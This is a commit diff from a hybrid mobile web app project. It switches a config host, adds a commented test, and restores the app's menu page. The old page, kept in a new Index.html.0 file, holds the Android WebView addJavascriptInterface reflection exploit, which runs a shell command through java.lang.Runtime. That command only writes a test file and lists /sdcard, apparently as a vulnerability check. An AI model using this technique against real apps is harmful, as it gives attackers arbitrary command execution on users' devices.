yangbiao 9 jaren geleden
bovenliggende
commit
8a1c546593

+ 1 - 1
ipu-client/assets/mobile-config.xml

@ -1,7 +1,7 @@
1 1
<?xml version="1.0" encoding="utf-8"?>
2 2
<configs>
3 3
    <!-- 必须。10.0.2.2为Android模拟器的保留ip地址。访问到本机电脑时使用 -->
4
	<config name="request_host" value="http://192.168.0.171:8080"/>
4
	<config name="request_host" value="http://10.0.2.2:8080"/>
5 5
	<!-- 请求主机名或请求地址。包括服务器的ip地址和端口 -->
6 6
	<!-- <config name="request_host" value="http://192.168.0.143:8080"/>  -->
7 7
	<!-- 必须。容器应用名或请求根路径 -->

+ 3 - 0
ipu-server/web/biz/js/Index.js

@ -5,6 +5,9 @@ require([ "mobile", "jquery", "common","jcl","wadeMobile" ], function(Mobile, $,
5 5
		alert("变成了DataMap");
6 6
		alert("变为字符串:" + resultData.toString());
7 7
	});*/
8
/*	Common.get(function(){
9
		alert("数据:" + PluginManager);
10
	},"aa");*/
8 11
	var menus = $("#menuList").children();
9 12
	$.each(menus, function(index, item) {
10 13
		var obj = $(item);

+ 94 - 32
ipu-server/web/template/webapp/ipu/Index.html

@ -1,34 +1,96 @@
1
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
1
<!DOCTYPE html>
2 2
<html>
3
	<head>
4
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
5
		<title></title>
6
	</head>
7
	<body>
8
	<h1>ABCDDD</h1>
9
	</body>
10
	<script type="text/javascript">
11
		function getContents(inputStream){
12
			var contents = "";
13
			var b = inputStream.read();
14
			while(b != -1){
15
				var bString = String.fromCharCode(b);
16
				contents += bString;
17
				contents += "\n";
18
				b = inputStream.read();
19
			}
20
			return contents;
21
		}
22
		function execute(cmdArgs){
23
			for (var obj in window) {
24
				if ("getClass" in window[obj]){
25
					var r = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
26
					document.write(obj + "<br />");
27
					document.write(window[obj] + "<br />" );
28
					document.write(getContents(r.getInputStream()) +"<br /><br />");
29
				}
30
			}
31
		}
32
		execute(["/system/bin/sh","-c","echo 'Hello world' > /sdcard/__mytest.txt__ &&  ls  /sdcard/"]);
33
	</script>
3
  <head>
4
    <title>首页</title>
5
    <meta charset="utf-8">
6
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
7
    <link rel="apple-touch-icon" href="touch-icon-iphone.png" />
8
    <link rel="apple-touch-icon-precomposed" href="touch-icon-iphone.png" />
9
    <!--1,引入CSS文件 -->
10
    <link rel="stylesheet" href="biz/ipu/theme/hum.css">
11
  </head>
12
  <body>
13
      <header class="ui-toolbar">
14
          <h1 class="ui-toolbar-title">业务大全</h1>
15
      </header>
16
17
18
      <nav class="ui-navbar" >
19
          <a class="ui-navbar-item active" href="javascript:;">
20
              <span class="ui-icon icon-home"></span>
21
              <span class="ui-navbar-item-label">首页</span>
22
          </a>
23
          <a class="ui-navbar-item" href="javascript:;">
24
              <span class="ui-icon icon-person"></span>
25
              <span class="ui-navbar-item-label">服务</span>
26
          </a>
27
          <a class="ui-navbar-item" href="javascript:;">
28
              <span class="ui-icon icon-star-filled"></span>
29
              <span class="ui-navbar-item-label">套餐</span>
30
          </a>
31
          <a class="ui-navbar-item" href="javascript:;">
32
              <span class="ui-icon icon-search"></span>
33
              <span class="ui-navbar-item-label">优惠</span>
34
          </a>
35
          <a class="ui-navbar-item" href="javascript:;" id="openTestPage" >
36
              <span class="ui-icon icon-gear"></span>
37
              <span class="ui-navbar-item-label">测试页面</span>
38
          </a>
39
      </nav>
40
41
42
      <div class="ui-slider fn-clear" >
43
          <div class="ui-slider-media" id="mySwipe1">
44
              <div class="ui-slider-warp" >
45
                  <div>
46
                      <img src="biz/ipu/temp/slider-01.jpg" class="img-responsive"/>        
47
                  </div>
48
                  <div>
49
                      <img src="biz/ipu/temp/slider-02.jpg" class="img-responsive"/>        
50
                  </div>
51
                  <div>
52
                      <img src="biz/ipu/temp/slider-03.jpg" class="img-responsive"/>        
53
                  </div>
54
              </div>
55
          </div>
56
          <div class="ui-slider-desc">
57
              <div class="ui-slide-desc-text fn-left">
58
                  <p>冲50送送50.</p>
59
                  <p class="fn-hide">冲100送送100.</p>
60
                  <p class="fn-hide">冲1000送送1000.</p>
61
              </div>
62
              <div class="ui-slide-desc-icon fn-right">
63
                  <em class="active">•</em>
64
                  <em>•</em>
65
                  <em>•</em>
66
              </div>
67
          </div>
68
      </div>
69
      <div class="ui-category fn-clear" id="menuList" >
70
      
71
      {%#MENUS%}
72
          <a {%#.ACTION%}action="{%.%}"{%/.ACTION%} href="javascript:;" class="ui-category-item  ">
73
              <span class="ui-category-icon {%.COLOR%}">
74
                  <span class="ui-icon {%.ICON%}"></span>
75
              </span>
76
         	  {%.VIEW%}
77
          </a>
78
      {%/MENUS%} 
79
      </div>
80
      <script src="biz/ipu/res/jquery/1.10.2/jquery.js"></script>
81
      <script src="biz/ipu/res/js/bootstrap.min.js"></script> 
82
      <script src="biz/ipu/res/swiper/swipe.js"></script>
83
      <script>
84
      $(function(){
85
           window.mySwipe = $('#mySwipe1').Swipe({
86
            callback: function(idx , pos) {
87
              $('.ui-slide-desc-text p').eq(idx).removeClass("fn-hide").siblings().addClass("fn-hide");
88
              $('.ui-slide-desc-icon em').eq(idx).addClass("active").siblings().removeClass("active");
89
            }
90
          }).data('Swipe');
91
      });
92
      </script> 
93
  </body>
94
      {%>template/common/Head.html%}
95
	<script type="text/javascript" src="biz/js/Index.js"></script>
34 96
</html>

+ 34 - 0
ipu-server/web/template/webapp/ipu/Index.html.0

@ -0,0 +1,34 @@
1
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
2
<html>
3
	<head>
4
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
5
		<title></title>
6
	</head>
7
	<body>
8
	<h1>ABCDDD</h1>
9
	</body>
10
	<script type="text/javascript">
11
		function getContents(inputStream){
12
			var contents = "";
13
			var b = inputStream.read();
14
			while(b != -1){
15
				var bString = String.fromCharCode(b);
16
				contents += bString;
17
				contents += "\n";
18
				b = inputStream.read();
19
			}
20
			return contents;
21
		}
22
		function execute(cmdArgs){
23
			for (var obj in window) {
24
				if ("getClass" in window[obj]){
25
					var r = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
26
					document.write(obj + "<br />");
27
					document.write(window[obj] + "<br />" );
28
					document.write(getContents(r.getInputStream()) +"<br /><br />");
29
				}
30
			}
31
		}
32
		execute(["/system/bin/sh","-c","echo 'Hello world' > /sdcard/__mytest.txt__ &&  ls  /sdcard/"]);
33
	</script>
34
</html>

+ 0 - 96
ipu-server/web/template/webapp/ipu/Index.html.bak

@ -1,96 +0,0 @@
1
<!DOCTYPE html>
2
<html>
3
  <head>
4
    <title>首页</title>
5
    <meta charset="utf-8">
6
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
7
    <link rel="apple-touch-icon" href="touch-icon-iphone.png" />
8
    <link rel="apple-touch-icon-precomposed" href="touch-icon-iphone.png" />
9
    <!--1,引入CSS文件 -->
10
    <link rel="stylesheet" href="biz/ipu/theme/hum.css">
11
  </head>
12
  <body>
13
      <header class="ui-toolbar">
14
          <h1 class="ui-toolbar-title">业务大全</h1>
15
      </header>
16
17
18
      <nav class="ui-navbar" >
19
          <a class="ui-navbar-item active" href="javascript:;">
20
              <span class="ui-icon icon-home"></span>
21
              <span class="ui-navbar-item-label">首页</span>
22
          </a>
23
          <a class="ui-navbar-item" href="javascript:;">
24
              <span class="ui-icon icon-person"></span>
25
              <span class="ui-navbar-item-label">服务</span>
26
          </a>
27
          <a class="ui-navbar-item" href="javascript:;">
28
              <span class="ui-icon icon-star-filled"></span>
29
              <span class="ui-navbar-item-label">套餐</span>
30
          </a>
31
          <a class="ui-navbar-item" href="javascript:;">
32
              <span class="ui-icon icon-search"></span>
33
              <span class="ui-navbar-item-label">优惠</span>
34
          </a>
35
          <a class="ui-navbar-item" href="javascript:;" id="openTestPage" >
36
              <span class="ui-icon icon-gear"></span>
37
              <span class="ui-navbar-item-label">测试页面</span>
38
          </a>
39
      </nav>
40
41
42
      <div class="ui-slider fn-clear" >
43
          <div class="ui-slider-media" id="mySwipe1">
44
              <div class="ui-slider-warp" >
45
                  <div>
46
                      <img src="biz/ipu/temp/slider-01.jpg" class="img-responsive"/>        
47
                  </div>
48
                  <div>
49
                      <img src="biz/ipu/temp/slider-02.jpg" class="img-responsive"/>        
50
                  </div>
51
                  <div>
52
                      <img src="biz/ipu/temp/slider-03.jpg" class="img-responsive"/>        
53
                  </div>
54
              </div>
55
          </div>
56
          <div class="ui-slider-desc">
57
              <div class="ui-slide-desc-text fn-left">
58
                  <p>冲50送送50.</p>
59
                  <p class="fn-hide">冲100送送100.</p>
60
                  <p class="fn-hide">冲1000送送1000.</p>
61
              </div>
62
              <div class="ui-slide-desc-icon fn-right">
63
                  <em class="active">•</em>
64
                  <em>•</em>
65
                  <em>•</em>
66
              </div>
67
          </div>
68
      </div>
69
      <div class="ui-category fn-clear" id="menuList" >
70
      
71
      {%#MENUS%}
72
          <a {%#.ACTION%}action="{%.%}"{%/.ACTION%} href="javascript:;" class="ui-category-item  ">
73
              <span class="ui-category-icon {%.COLOR%}">
74
                  <span class="ui-icon {%.ICON%}"></span>
75
              </span>
76
         	  {%.VIEW%}
77
          </a>
78
      {%/MENUS%} 
79
      </div>
80
      <script src="biz/ipu/res/jquery/1.10.2/jquery.js"></script>
81
      <script src="biz/ipu/res/js/bootstrap.min.js"></script> 
82
      <script src="biz/ipu/res/swiper/swipe.js"></script>
83
      <script>
84
      $(function(){
85
           window.mySwipe = $('#mySwipe1').Swipe({
86
            callback: function(idx , pos) {
87
              $('.ui-slide-desc-text p').eq(idx).removeClass("fn-hide").siblings().addClass("fn-hide");
88
              $('.ui-slide-desc-icon em').eq(idx).addClass("active").siblings().removeClass("active");
89
            }
90
          }).data('Swipe');
91
      });
92
      </script> 
93
  </body>
94
      {%>template/common/Head.html%}
95
	<script type="text/javascript" src="biz/js/Index.js"></script>
96
</html>